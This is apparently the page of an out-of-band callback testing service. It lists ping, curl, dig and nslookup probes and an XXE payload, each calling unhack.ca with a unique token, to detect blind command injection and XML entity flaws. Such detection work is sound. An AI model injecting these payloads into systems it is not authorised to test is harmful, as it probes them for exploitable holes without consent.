$ ping -c1 -p 007961b212e3f2d37b9fd04feb4e1700 unhack.ca
 
$ curl http://unhack.ca/p/7961b212e3f2d37b9fd04feb4e17
 
$ dig 7961b212e3f2d37b9fd04feb4e17 @unhack.ca
 
$ dig 7961b212e3f2d37b9fd04feb4e17.ns.unhack.ca
 
C:\> nslookup 7961b212e3f2d37b9fd04feb4e17 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7961b212e3f2d37b9fd04feb4e17">]>
    <foo>&xxe;</foo>
Waiting for ping...